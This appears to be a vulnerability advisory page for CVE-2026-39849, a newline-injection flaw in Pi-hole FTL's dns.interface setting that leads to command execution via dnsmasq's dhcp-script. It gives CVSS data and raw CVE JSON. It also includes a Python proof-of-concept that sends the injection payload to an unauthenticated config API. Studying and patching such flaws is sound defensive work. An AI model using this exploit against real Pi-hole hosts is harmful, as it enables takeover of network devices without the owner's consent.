Security Vulnerability Report
中文
CVE-2026-39849 CVSS 8.8 HIGH

CVE-2026-39849

Published: 2026-05-05 21:16:23
Last Modified: 2026-05-12 16:27:27

Description

Pi-hole FTL is the core engine of the Pi-hole network-level advertisement and tracker blocker. In versions before 6.6.1, the `dns.interface` configuration field in Pi-hole FTL accepted newline characters without validation, allowing an attacker to inject arbitrary directives into the generated dnsmasq configuration file. On installations with no admin password set (the default for many deployments), the configuration API is fully accessible without credentials, allowing a network-adjacent attacker to inject the payload, enable the built-in DHCP server, and achieve arbitrary command execution on the host the next time any device on the network requests a DHCP lease. The injected value is persisted to /etc/pihole/pihole.toml and survives restarts. The strncpy in the code path limits the total interface field to 31 bytes, but payloads such as wlan0\ndhcp-script=/tmp/p fit within this constraint. The dnsmasq config validation introduced in FTL 6.6 only checks syntactic validity, so valid directives injected via newline pass validation successfully. This issue has been fixed in version 6.6.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pi-hole:ftldns:6.6:*:*:*:*:*:*:* - VULNERABLE
Pi-hole FTL < 6.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target Pi-hole FTL API URL # Note: Default installation often exposes this on port 80 or 443 TARGET_URL = "http://<target-ip>/api/config" # Malicious payload exploiting the newline injection in dns.interface # The payload fits within the 31 byte limit (strncpy constraint) # 'wlan0' + newline + 'dhcp-script=/tmp/p' PAYLOAD = "wlan0\ndhcp-script=/tmp/p" # Headers for the API request headers = { "Content-Type": "application/json" } # The configuration data to be sent # This injects the payload and enables DHCP to trigger the script data = { "config": { "dns": { "interface": PAYLOAD }, "dhcp": { "active": true } } } try: # Send the malicious configuration request # Exploits the lack of authentication on default installs response = requests.put(TARGET_URL, headers=headers, data=json.dumps(data), timeout=5) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] DHCP script set to: /tmp/p") print("[+] Waiting for a DHCP lease request to trigger the execution...") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39849", "sourceIdentifier": "[email protected]", "published": "2026-05-05T21:16:22.677", "lastModified": "2026-05-12T16:27:27.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pi-hole FTL is the core engine of the Pi-hole network-level advertisement and tracker blocker. In versions before 6.6.1, the `dns.interface` configuration field in Pi-hole FTL accepted newline characters without validation, allowing an attacker to inject arbitrary directives into the generated dnsmasq configuration file. On installations with no admin password set (the default for many deployments), the configuration API is fully accessible without credentials, allowing a network-adjacent attacker to inject the payload, enable the built-in DHCP server, and achieve arbitrary command execution on the host the next time any device on the network requests a DHCP lease. The injected value is persisted to /etc/pihole/pihole.toml and survives restarts. The strncpy in the code path limits the total interface field to 31 bytes, but payloads such as wlan0\\ndhcp-script=/tmp/p fit within this constraint. The dnsmasq config validation introduced in FTL 6.6 only checks syntactic validity, so valid directives injected via newline pass validation successfully. This issue has been fixed in version 6.6.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:ftldns:6.6:*:*:*:*:*:*:*", "matchCriteriaId": "077AAD8F-CF91-4ECE-A446-731786C12D62"}]}]}], "references": [{"url": "https://github.com/pi-hole/FTL/commit/0c46e4ec7fe57f762fce261625f2cf5d43806e6d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pi-hole/FTL/releases/tag/v6.6.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-9cqv-839p-gpq2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-9cqv-839p-gpq2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}